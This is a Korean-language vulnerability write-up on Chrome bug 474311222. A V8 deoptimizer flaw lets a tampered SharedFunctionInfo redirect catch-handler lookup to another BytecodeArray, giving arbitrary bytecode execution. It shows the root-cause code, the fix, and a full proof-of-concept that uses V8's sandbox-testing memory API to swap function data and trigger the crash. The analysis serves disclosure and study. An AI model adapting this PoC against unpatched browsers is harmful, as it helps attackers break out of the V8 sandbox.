[하루한줄] CRBUG 474311222 : Chrome V8에서 최적화 해제 과정 중 BytecodeArray 조작으로 인해 발생하는 Arbitrary Bytecode Execution
URL
Target
- Chrome < 144.0.7559.96
Explain
background
V8에서 최적화는 오직 한 방향으로만 진행되는 것이 아니라 상황과 조건에 따라 최적화 되었던 코드를 다시 원본 형태로 복원하는 경우도 존재합니다. 이 과정에서 Deoptimizer::DoComputeOutputFrames() 함수를 호출하는데 이는 인터프리터가 스택 프레임 구조를 예측하고 실행 흐름을 이어갈 수 있도록 도와주는 역할을 합니다.
해당 로직은 BytecodeArray의 어느 지점에서 실행을 이어갈지 오프셋을 결정하는 것에도 연관되어 있습니다. 따라서 최적화 전/후로 동일한 결과를 얻기 위해 deoptimizer는 동일한 BytecodeArray를 가리킬 수 있도록 보증해야합니다.
root cause
해당 버그는 최적화 해제 과정 중 throw 동작을 처리할 때 존재하는 버그로 deoptimizer가 try-catch에서 catch block으로 실행 흐름을 반환할 때 발생합니다.
// src/deoptimizer/deoptimizer.cc
void Deoptimizer::DoComputeOutputFrames() {
// ...
} else if (deoptimizing_throw_) {
// If we are supposed to go to the catch handler, find the catching frame
// for the catch and make sure we only deoptimize up to that frame.
size_t catch_handler_frame_index = count;
for (size_t i = count; i-- > 0;) {
catch_handler_pc_offset_ = LookupCatchHandler(
isolate(), &(translated_state_.frames()[i]), &catch_handler_data_);
// ...
}
위 코드는 Deoptimizer::DoComputeOutputFrames()에서 throw를 처리하는 부분으로 반복문 내에서 LookupCatchHandler() 호출을 통해 offset 정보를 가져옵니다.
// src/deoptimizer/deoptimizer.cc
int LookupCatchHandler(Isolate* isolate, TranslatedFrame* translated_frame,
int* data_out) {
switch (translated_frame->kind()) {
case TranslatedFrame::kUnoptimizedFunction: {
int bytecode_offset = translated_frame->bytecode_offset().ToInt();
HandlerTable table(
translated_frame->raw_shared_info()->GetBytecodeArray(isolate)); // [1]
int handler_index = table.LookupHandlerIndexForRange(bytecode_offset);
if (handler_index == HandlerTable::kNoHandlerFound) return handler_index;
*data_out = table.GetRangeData(handler_index);
table.MarkHandlerUsed(handler_index);
return table.GetRangeHandler(handler_index);
}
case TranslatedFrame::kJavaScriptBuiltinContinuationWithCatch: {
return 0;
}
default:
break;
}
return -1;
}
[1] 위치를 확인하면 BytecodeArray를 가져오기 위해 translated_frame->raw_shared_info()->GetBytecodeArray() 과정이 필요합니다.
이때 raw_shared_info()는 결국 SharedFunctionInfo를 통한 간접 참조로 만약 이 값을 변조할 수 있다면 최적화 해제 후 정상적이지 않은 offset을 참조하도록 만들 수 있습니다.
poc code
아래 코드는 버그 재현을 위한 PoC 코드입니다:
// Flags: --sandbox-testing --expose-gc --allow-natives-syntax
const kHeapObjectTag = 1;
const kJSFunctionType = Sandbox.getInstanceTypeIdFor('JS_FUNCTION_TYPE');
const kSharedFunctionInfoType = Sandbox.getInstanceTypeIdFor('SHARED_FUNCTION_INFO_TYPE');
const kJSFunctionSFIOffset = Sandbox.getFieldOffset(kJSFunctionType, 'shared_function_info');
const kSharedFunctionInfoTrustedFunctionDataOffset = Sandbox.getFieldOffset(kSharedFunctionInfoType, 'trusted_function_data');
let memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));
function getPtr(obj) {
return Sandbox.getAddressOf(obj) + kHeapObjectTag;
}
function getField(obj, offset) {
return memory.getUint32(obj + offset - kHeapObjectTag, true);
}
function setField(obj, offset, value) {
memory.setUint32(obj + offset - kHeapObjectTag, value, true);
}
// Target function to optimize and deoptimize.
function f(should_deopt) {
try {
if (should_deopt) {
trigger();
}
} catch(e) {
return 1;
}
return 0;
}
function trigger() {
// The %DeoptimizeFunction here seems to be necessary to force deoptimization
// on the `throw`, which is itself needed to trigger the bug.
%DeoptimizeFunction(f);
throw "boom";
}
// Dummy function to provide a different BytecodeArray.
// This needs to be somewhat large and have a try-catch to pass some CHECKs during deopt.
let g_body = `
try {
let x = 0;
${"x++;".repeat(500)}
return x;
} catch(e) {
return 0;
}
`;
const g = new Function(g_body);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(g);
f(false);
g();
%OptimizeFunctionOnNextCall(f);
f(false);
// Swap the trusted_function_data (pointing to the BytecodeArray) in f's SFI with that of g's SFI.
let f_sfi = getField(getPtr(f), kJSFunctionSFIOffset);
let g_sfi = getField(getPtr(g), kJSFunctionSFIOffset);
let g_tfd = getField(g_sfi, kSharedFunctionInfoTrustedFunctionDataOffset);
setField(f_sfi, kSharedFunctionInfoTrustedFunctionDataOffset, g_tfd);
// Trigger the crash.
f(true);
Patch
해당 버그는 raw_shared_info()를 거치지 않고 직접 BytecodeArray를 참조하는 식으로 수정되었습니다:
// src/deoptimizer/deoptimizer.cc
int LookupCatchHandler(Isolate* isolate, TranslatedFrame* translated_frame,
int* data_out) {
switch (translated_frame->kind()) {
case TranslatedFrame::kUnoptimizedFunction: {
int bytecode_offset = translated_frame->bytecode_offset().ToInt();
HandlerTable table(translated_frame->raw_bytecode_array()); // After
// ...
After 내용을 확인하면 translated_frame->raw_bytecode_array()로 변경된 것을 확인할 수 있습니다.
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.